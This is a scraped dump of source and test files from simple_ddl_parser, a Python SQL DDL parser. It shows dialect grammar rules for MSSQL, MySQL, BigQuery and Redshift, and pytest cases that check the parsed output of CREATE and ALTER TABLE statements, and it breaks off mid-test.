def p_with_args(self, p):\n \"\"\"with_args : LP equals\n | with_args COMMA equals\n | with_args with_args\n | with_args RP\n \"\"\"\n p_list = list(p)\n if isinstance(p[1], dict):\n p[0] = p[1]\n else:\n p[0] = {\"properties\": []}\n if \")\" != p_list[2]:\n if \")\" == p_list[-1]:\n p[0][\"properties\"].append(p_list[-1])\n else:\n p[0][\"properties\"].append(p_list[-1])\n\n def p_period_for(self, p):\n \"\"\"period_for : id FOR id LP pid RP\"\"\"\n p[0] = {\"period_for_system_time\": p[5]}\n\n def p_expression_on_primary(self, p):\n \"\"\"expr : expr ON id\"\"\"\n p[0] = p[1]\n p[0][\"on\"] = p[3]\n\n def p_expression_with(self, p):\n \"\"\"expr : expr with\"\"\"\n p[0] = p[1]\n p[0].update(p[2])\n\n def p_expression_text_image_on(self, p):\n \"\"\"expr : expr TEXTIMAGE_ON id\"\"\"\n p[0] = p[1]\n p[0].update({\"textimage_on\": p[3]})\n", "id": "3970584", "language": "Python", "matching_score": 1.5891063213348389, "max_stars_count": 46, "path": "simple_ddl_parser/dialects/mssql.py" }, { "content": "import simple_ddl_parser # noqa: F401 weird issue with failed tests\n\n\nclass MySQL:\n def p_on_update(self, p):\n \"\"\"on_update : ON UPDATE id\n | ON UPDATE STRING\n | ON UPDATE f_call\n \"\"\"\n p_list = list(p)\n if not \")\" == p_list[-1]:\n p[0] = {\"on_update\": p_list[-1]}\n else:\n p[0] = {\"on_update\": p_list[-2]}\n", "id": "6108558", "language": "Python", "matching_score": 0.11767540872097015, "max_stars_count": 46, "path": "simple_ddl_parser/dialects/mysql.py" }, { "content": "class BigQuery:\n def p_expression_options(self, p):\n \"\"\"expr : expr multiple_options\"\"\"\n p[0] = p[1]\n p[1].update(p[2])\n\n def p_multiple_options(self, p):\n \"\"\"multiple_options : options\n | multiple_options options\n \"\"\"\n if len(p) > 2:\n p[1][\"options\"].extend(p[2][\"options\"])\n p[0] = p[1]\n else:\n p[0] = p[1]\n\n def p_options(self, p):\n \"\"\"options : OPTIONS LP id_equals RP\"\"\"\n p_list = list(p)\n if not isinstance(p[1], dict):\n p[0] = {\"options\": p[3]}\n else:\n p[0] = p[1]\n if len(p) == 4:\n p[0][\"options\"].append(p_list[-1][0])\n", "id": "5970742", "language": "Python", "matching_score": 1.4763869047164917, "max_stars_count": 46, "path": "simple_ddl_parser/dialects/bigquery.py" }, { "content": "class Redshift:\n def p_expression_distkey(self, p):\n \"\"\"expr : expr id LP id RP\"\"\"\n p_list = list(p)\n p[1].update({\"distkey\": p_list[-2]})\n p[0] = p[1]\n\n def p_encode(self, p):\n \"\"\"encode : ENCODE id\"\"\"\n p_list = list(p)\n p[0] = {\"encode\": p_list[-1]}\n\n def p_expression_diststyle(self, p):\n \"\"\"expr : expr id id\n | expr id KEY\n \"\"\"\n p_list = list(p)\n p[1].update({p_list[-2]: p_list[-1]})\n p[0] = p[1]\n\n def p_expression_sortkey(self, p):\n \"\"\"expr : expr id id LP pid RP\"\"\"\n p_list = list(p)\n p[1].update({\"sortkey\": {\"type\": p_list[2], \"keys\": p_list[-2]}})\n p[0] = p[1]\n", "id": "3728032", "language": "Python", "matching_score": 1.146666407585144, "max_stars_count": 46, "path": "simple_ddl_parser/dialects/redshift.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_base_encode():\n ddl = \"\"\"\n create table sales(\n qtysold smallint not null encode mostly8,\n pricepaid decimal(8,2) encode delta32k,\n commission decimal(8,2) encode delta32k,\n )\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n\n expected = {\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"mostly8\",\n \"name\": \"qtysold\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"smallint\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"delta32k\",\n \"name\": \"pricepaid\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (8, 2),\n \"type\": \"decimal\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"delta32k\",\n \"name\": \"commission\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (8, 2),\n \"type\": \"decimal\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"encode\": None,\n \"distkey\": None,\n \"diststyle\": None,\n \"sortkey\": {\"keys\": [], \"type\": None},\n \"table_name\": \"sales\",\n \"tablespace\": None,\n \"temp\": False,\n }\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n\n assert expected == result\n\n\ndef test_distkey_sortkey():\n\n ddl = \"\"\"\n create table sales(\n salesid integer not null,\n listid integer not null,\n sellerid integer not null,\n buyerid integer not null,\n eventid integer not null encode mostly16,\n dateid smallint not null,\n qtysold smallint not null encode mostly8,\n pricepaid decimal(8,2) encode delta32k,\n commission decimal(8,2) encode delta32k,\n saletime timestamp,\n primary key(salesid),\n foreign key(listid) references listing(listid),\n foreign key(sellerid) references users(userid),\n foreign key(buyerid) references users(userid),\n foreign key(dateid) references date(dateid))\n distkey(listid)\n compound sortkey(listid,sellerid);\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n expected = {\n \"domains\": [],\n \"ddl_properties\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"salesid\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"listid\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"listid\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"listing\",\n },\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"sellerid\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"userid\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"users\",\n },\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"buyerid\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"userid\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"users\",\n },\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"mostly16\",\n \"name\": \"eventid\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"dateid\",\n \"nullable\": False,\n \"references\": {\n \"column\": \"dateid\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"date\",\n },\n \"size\": None,\n \"type\": \"smallint\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"mostly8\",\n \"name\": \"qtysold\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"smallint\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"delta32k\",\n \"name\": \"pricepaid\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (8, 2),\n \"type\": \"decimal\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"delta32k\",\n \"name\": \"commission\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (8, 2),\n \"type\": \"decimal\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"saletime\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"timestamp\",\n \"unique\": False,\n },\n ],\n \"distkey\": \"listid\",\n \"diststyle\": None,\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"salesid\"],\n \"schema\": None,\n \"encode\": None,\n \"sortkey\": {\"keys\": [\"listid\", \"sellerid\"], \"type\": \"compound\"},\n \"table_name\": \"sales\",\n \"tablespace\": None,\n \"temp\": False,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_distyle():\n\n ddl = \"\"\"\n create table t1(col1 int distkey) diststyle key;\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n\n expected = {\n \"domains\": [],\n \"ddl_properties\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"col1\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n }\n ],\n \"distkey\": \"col1\",\n \"diststyle\": \"KEY\",\n \"index\": [],\n \"encode\": None,\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"sortkey\": {\"keys\": [], \"type\": None},\n \"table_name\": \"t1\",\n \"tablespace\": None,\n \"temp\": False,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_encode_for_full_table():\n\n ddl = \"\"\"\n create table t2(c0 int, c1 varchar) encode auto;\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n expected = {\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"auto\",\n \"name\": \"c0\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"auto\",\n \"name\": \"c1\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n ],\n \"distkey\": None,\n \"diststyle\": None,\n \"encode\": \"auto\",\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"sortkey\": {\"keys\": [], \"type\": None},\n \"table_name\": \"t2\",\n \"tablespace\": None,\n \"temp\": False,\n }\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n\ndef test_interleaved_sortkey_also_ok():\n\n ddl = \"\"\"\n create table customer_interleaved (\n c_custkey \tinteger not null,\n c_name \tvarchar(25) not null,\n c_address \tvarchar(25) not null,\n c_city \tvarchar(10) not null,\n c_nation \tvarchar(15) not null,\n c_region \tvarchar(12) not null,\n c_phone \tvarchar(15) not null,\n c_mktsegment varchar(10) not null)\n diststyle all\n interleaved sortkey (c_custkey, c_city, c_mktsegment);\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n expected = {\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_custkey\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_name\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 25,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_address\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 25,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_city\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 10,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_nation\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 15,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_region\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 12,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_phone\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 15,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": None,\n \"name\": \"c_mktsegment\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 10,\n \"type\": \"varchar\",\n \"unique\": False,\n },\n ],\n \"distkey\": None,\n \"diststyle\": \"all\",\n \"encode\": None,\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"sortkey\": {\n \"keys\": [\"c_custkey\", \"c_city\", \"c_mktsegment\"],\n \"type\": \"interleaved\",\n },\n \"table_name\": \"customer_interleaved\",\n \"tablespace\": None,\n \"temp\": False,\n }\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n\ndef test_create_temp_table():\n\n ddl = \"\"\"\n create temp table tempevent(\n qtysold smallint not null encode mostly8,\n pricepaid decimal(8,2) encode delta32k,\n commission decimal(8,2) encode delta32k,\n );\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n expected = {\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"mostly8\",\n \"name\": \"qtysold\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"smallint\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"delta32k\",\n \"name\": \"pricepaid\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (8, 2),\n \"type\": \"decimal\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encode\": \"delta32k\",\n \"name\": \"commission\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (8, 2),\n \"type\": \"decimal\",\n \"unique\": False,\n },\n ],\n \"distkey\": None,\n \"diststyle\": None,\n \"encode\": None,\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"sortkey\": {\"keys\": [], \"type\": None},\n \"table_name\": \"tempevent\",\n \"tablespace\": None,\n \"temp\": True,\n }\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n ddl = \"\"\"\n create temporary table tempevent(\n qtysold smallint not null encode mostly8,\n pricepaid decimal(8,2) encode delta32k,\n commission decimal(8,2) encode delta32k,\n );\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n assert expected == result\n\n\ndef test_like_in_parath():\n expected = {\n \"domains\": [],\n \"ddl_properties\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [],\n \"distkey\": None,\n \"diststyle\": None,\n \"encode\": None,\n \"index\": [],\n \"like\": {\"schema\": None, \"table_name\": \"event\"},\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"sortkey\": {\"keys\": [], \"type\": None},\n \"table_name\": \"tempevent\",\n \"tablespace\": None,\n \"temp\": True,\n }\n ],\n \"types\": [],\n }\n ddl = \"\"\"\n create temp table tempevent(like event);\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"redshift\")\n assert expected == result\n", "id": "2237948", "language": "Python", "matching_score": 1.8849939107894897, "max_stars_count": 46, "path": "tests/test_redshift_dialect.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_alter_table_initial_support():\n ddl = \"\"\"CREATE TABLE \"materials\" (\n \"id\" int PRIMARY KEY,\n \"title\" varchar NOT NULL default \"New title\",\n \"description\" varchar,\n \"link\" varchar,\n \"created_at\" timestamp NOT NULL,\n \"updated_at\" timestamp NOT NULL\n );\n\n CREATE TABLE \"material_attachments\" (\n \"material_id\" int NOT NULL,\n \"attachment_id\" int NOT NULL\n );\n\n CREATE TABLE \"attachments\" (\n \"id\" int PRIMARY KEY,\n \"title\" varchar,\n \"description\" varchar,\n \"created_at\" timestamp NOT NULL,\n \"updated_at\" timestamp NOT NULL\n );\n ALTER TABLE \"material_attachments\" ADD FOREIGN KEY (\"material_id\") REFERENCES \"materials\" (\"id\");\n\n ALTER TABLE \"material_attachments\" ADD FOREIGN KEY (\"attachment_id\") REFERENCES \"attachments\" (\"id\");\n \"\"\"\n expected = [\n {\n \"columns\": [\n {\n \"name\": '\"id\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"title\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": False,\n \"default\": '\"New title\"',\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"description\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"link\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"created_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"updated_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n ],\n \"primary_key\": ['\"id\"'],\n \"index\": [],\n \"partitioned_by\": [],\n \"alter\": {},\n \"checks\": [],\n \"table_name\": '\"materials\"',\n \"tablespace\": None,\n \"schema\": None,\n },\n {\n \"columns\": [\n {\n \"name\": '\"material_id\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"attachment_id\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"partitioned_by\": [],\n \"alter\": {\n \"columns\": [\n {\n \"name\": '\"material_id\"',\n \"constraint_name\": None,\n \"references\": {\n \"column\": '\"id\"',\n \"table\": '\"materials\"',\n \"schema\": None,\n \"on_update\": None,\n \"on_delete\": None,\n \"deferrable_initially\": None,\n },\n },\n {\n \"name\": '\"attachment_id\"',\n \"constraint_name\": None,\n \"references\": {\n \"column\": '\"id\"',\n \"table\": '\"attachments\"',\n \"schema\": None,\n \"on_update\": None,\n \"on_delete\": None,\n \"deferrable_initially\": None,\n },\n },\n ]\n },\n \"checks\": [],\n \"table_name\": '\"material_attachments\"',\n \"tablespace\": None,\n \"schema\": None,\n },\n {\n \"columns\": [\n {\n \"name\": '\"id\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"title\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"description\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"created_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n {\n \"name\": '\"updated_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"references\": None,\n \"unique\": False,\n },\n ],\n \"primary_key\": ['\"id\"'],\n \"index\": [],\n \"partitioned_by\": [],\n \"alter\": {},\n \"checks\": [],\n \"table_name\": '\"attachments\"',\n \"tablespace\": None,\n \"schema\": None,\n },\n ]\n parse_results = DDLParser(ddl).run()\n assert expected == parse_results\n\n\ndef test_alter_check():\n ddl = \"\"\"CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n );\n\n ALTER TABLE Persons\n ADD CHECK (Age>=18);\n \"\"\"\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"ID\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"LastName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"FirstName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"Age\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"City\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"alter\": {\"checks\": [{\"constraint_name\": None, \"statement\": \"Age>=18\"}]},\n \"checks\": [],\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n }\n ]\n\n assert DDLParser(ddl).run() == expected\n\n\ndef test_alter_check_combine_all_variants():\n\n ddl = \"\"\"\n CREATE TABLE employees (\n id SERIAL PRIMARY KEY,\n first_name VARCHAR (50) default '<NAME>',\n last_name VARCHAR (50) default '<NAME>',\n birth_date DATE CHECK (birth_date > '1900-01-01'),\n joined_date DATE CHECK (joined_date > birth_date),\n salary numeric CHECK(salary > 0)\n );\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes')\n );\n\n ALTER TABLE Persons\n ADD CHECK (Age>=18);\n \"\"\"\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"id\",\n \"type\": \"SERIAL\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"first_name\",\n \"type\": \"VARCHAR\",\n \"size\": 50,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": \"'User Name'\",\n \"check\": None,\n },\n {\n \"name\": \"last_name\",\n \"type\": \"VARCHAR\",\n \"size\": 50,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": \"'User Last Name'\",\n \"check\": None,\n },\n {\n \"name\": \"birth_date\",\n \"type\": \"DATE\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"birth_date > '1900-01-01'\",\n },\n {\n \"name\": \"joined_date\",\n \"type\": \"DATE\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": \"joined_date > birth_date\",\n },\n {\n \"check\": \"salary > 0\",\n \"default\": None,\n \"name\": \"salary\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"numeric\",\n \"unique\": False,\n },\n ],\n \"primary_key\": [\"id\"],\n \"index\": [],\n \"alter\": {},\n \"checks\": [],\n \"table_name\": \"employees\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n },\n {\n \"columns\": [\n {\n \"name\": \"ID\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"LastName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"FirstName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"Age\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"City\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"alter\": {\"checks\": [{\"constraint_name\": None, \"statement\": \"Age>=18\"}]},\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ],\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n },\n ]\n\n assert expected == DDLParser(ddl).run()\n\n\ndef test_alter_check_with_constraint():\n parse_results = DDLParser(\n \"\"\"\n\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n\n );\n Alter Table Persons ADD CONSTRAINT CHK_PersonAge CHECK (Age>=18 AND City='Sandnes');\n\"\"\"\n ).run()\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"ID\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"LastName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"FirstName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"Age\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"City\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"alter\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_PersonAge\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"checks\": [],\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n }\n ]\n assert expected == parse_results\n\n\ndef test_alter_foreiggn_with_constraint():\n parse_results = DDLParser(\n \"\"\"\n CREATE TABLE Persons (\n ID int NOT NULL,\n LastName varchar(255) NOT NULL,\n FirstName varchar(255),\n Age int,\n City varchar(255),\n CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes')\n );\n\n Alter Table Persons ADD CONSTRAINT fk_group FOREIGN KEY (id) REFERENCES employees (id);\n \"\"\"\n ).run()\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"ID\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"LastName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"FirstName\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"Age\",\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"City\",\n \"type\": \"varchar\",\n \"size\": 255,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"alter\": {\n \"columns\": [\n {\n \"name\": \"id\",\n \"constraint_name\": \"fk_group\",\n \"references\": {\n \"column\": \"id\",\n \"table\": \"employees\",\n \"schema\": None,\n \"on_update\": None,\n \"on_delete\": None,\n \"deferrable_initially\": None,\n },\n }\n ]\n },\n \"constraints\": {\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ]\n },\n \"checks\": [\n {\n \"constraint_name\": \"CHK_Person\",\n \"statement\": \"Age>=18 AND City= 'Sandnes'\",\n }\n ],\n \"table_name\": \"Persons\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n }\n ]\n assert parse_results == 